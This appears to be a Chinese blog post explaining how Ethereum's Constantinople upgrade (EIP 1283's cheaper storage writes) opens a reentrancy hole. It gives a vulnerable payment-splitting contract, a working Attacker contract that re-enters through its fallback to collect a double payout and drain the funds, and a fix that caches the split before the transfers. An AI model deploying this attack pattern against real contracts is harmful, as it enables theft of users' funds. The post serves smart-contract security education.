• 君士坦丁堡分叉引起的安全问题


    君士坦丁堡分叉引起的安全问题

    一. 什么是君士坦丁堡分叉

    君士坦丁堡是最近以太坊的大事,主要做了一下改进

    • EIP 145:由两位以太坊开发人员Alex Beregszaszi 和 Pawel Bylica编写的技术升级,EIP 145详细描述了一种更有效的以太坊信息处理方案,其称为逐位移动(bitwise shifting);
    • EIP 1052:由以太坊core开发人员Nick Johnson和Bylica所撰写,1052提供了一种优化以太坊网络大规模代码执行的方法。
    • EIP 1283:由Johnson撰写,其基于EIP 1087,这一提议主要了引入了一种针对数据存储更改更公平的定价方法,这可以让智能合约开发者受益。
    • EIP 1014:由以太坊创始人Vitalik Buterin亲自创建,此升级的目的是更好地促进基于状态通道和链外(off-chain)交易的扩容解决方案。
    • EIP 1234:由以太坊主要客户端 Parity发布经理 Afri Schoedon所倡导,这也是以太坊此次升级中最具争议的部分,它会使以太坊网络的区块奖励从3ETH减少到2ETH,此外还会延迟难度炸弹12个月的时间。

    其中EIP 1283 最重要的改动就是对于修改合约内容更加便宜了,原来修改非0内容的地址需要5000gas,现在只需要200gas.
    具体意思就是

    //第一次写入
    Contract.A=300 //花费20000gas
    //第二次写入
    Contract.A=500 //花费5000gas,如果是君士坦丁堡分叉以后只有200gas.
    

    这对于DAPP而言肯定是好事,降低了DAPP的成本.但是意外却引入了安全风险.

    二. 一个重入合约

    一份双方协调分成的合约,简化起见,里面很多安全问题没检查,比如updateSplit应该只能参与双方更新.

    //PaymentSharer.sol
    pragma solidity ^0.5.0;
    
    contract PaymentSharer {
      mapping(uint => uint) splits;
      mapping(uint => uint) deposits;
      mapping(uint => address payable) first;
      mapping(uint => address payable) second;
    
      function init(uint id, address payable _first, address payable _second) public {
        require(first[id] == address(0) && second[id] == address(0));
        require(first[id] == address(0) && second[id] == address(0));
        first[id] = _first;
        second[id] = _second;
      }
    
      function deposit(uint id) public payable {
        deposits[id] += msg.value;
      }
    
      function updateSplit(uint id, uint split) public {
        require(split <= 100);
        splits[id] = split;
      }
    
      function splitFunds(uint id) public {
        // Here would be: 
        // Signatures that both parties agree with this split
    
        // Split
        address payable a = first[id];
        address payable b = second[id];
        uint depo = deposits[id];
        deposits[id] = 0;
         
        a.transfer(depo * splits[id] / 100); //transfer 给2100 gas执行事务
        b.transfer(depo * (100 - splits[id]) / 100);
      }
    }
    

    双方协商一致,调用updateSplit,定下各自应得多少比例.然后就可以调用splitFunds,分别拿走各自的ether.
    这在君士坦丁堡分叉之前,是非常安全的.

    三. 一份尝试攻击的合约

    pragma solidity ^0.5.0;
    
    import "./PaymentSharer.sol";
    
    contract Attacker {
      address private victim;
      address payable owner;
    
      constructor() public {
        owner = msg.sender;
      }
    
      function attack(address a) external {
        victim = a;
        PaymentSharer x = PaymentSharer(a);
        x.updateSplit(0, 100);
        x.splitFunds(0);
      }
    
      function () payable external {
        PaymentSharer x = PaymentSharer(victim);
        x.updateSplit(0,0); //修改split,这样下b.transfer就不再是transfer 0,达到双倍收益.
      }
      //从合约中拿走全部ether
      function drain() external {
        owner.transfer(address(this).balance);
      }
    }
    

    四. 组合调用

      1. PaymentSharer.init(0,Attacker,anotherAddressOfAttacker)
      1. PaymentSharer.deposit(0) value=1ether
      1. Attacker.attack(PaymentSharer)

    最关键的是第三步的调用顺序:
    attack-->updateSplit-->attack--->splitFunds(a全得,b没有)--->a.transfer--->Attacker's fallback--->updateSplit(a没有,b全得)-->b.transfer

    最终a,b(Attacker和anotherAddressOfAttacker)各拿了一份完整的是后入,而不是预想的只有拿走全部.

    分叉之前

    合约中调用transfer函数的gas是固定的,只能是2300,无法改动. 而Attacker's fallback 函数中调用updateSplit, 其中 splits[id] = split;这一句话就会消耗5000gas,因此attack这个Tx会失败.

    分叉之后

    splits[id] = split;只会消耗gas200,因此有足够的gas来执行updateSplit, 所以a.transfer会成功,然后b.transfer自然也会成功.

    调用顺序

    五. 如何解决

    针对这个问题解决起来非常简单.下面就是一种修正方法.

    function splitFunds(uint id) public {
        // Here would be: 
        // Signatures that both parties agree with this split
    
        // Split
        address payable a = first[id];
        address payable b = second[id];
        uint depo = deposits[id];
        deposits[id] = 0;
        uint s=splits[id];
        a.transfer(depo * s / 100); //transfer 给2100 gas执行事务
        b.transfer(depo * (100 - s) / 100);
      }
    

    这样就算是Attacker有了重入的机会,可以执行代码,也不会有任何额外收益. 应该说合约的设计者已经考虑到a.transfer的重入问题,先修改了deposits[id],而不是放在transfer之后,但是仍然百密一疏.

    合约一旦发布就无法修改,但是EVM规则却可以通过分叉修改,可以解决以后的问题,但是却不能修复已经发布的合约.

    本来参考了一下文章
    Constantinople enables new Reentrancy Attack

  • 相关阅读:
    kafka学习笔记:知识点整理
    ZooKeeper基本原理
    Channel详解
    redis十-对快照模式分析
    文字两行显示
    vue 脚手架创建新项目时报错 ERROR Failed to get response from http://registry.cnpmjs.org/vue-cli-version
    checkbox 点选后没有被选中,有点击事件,不显示小勾
    git 提示 没有操作权限
    HBuilder X 提示Setting.json格式语法错误
    格式化代码时提示错误
  • 原文地址:https://www.cnblogs.com/baizx/p/10290049.html
Copyright © 2020-2023  润新知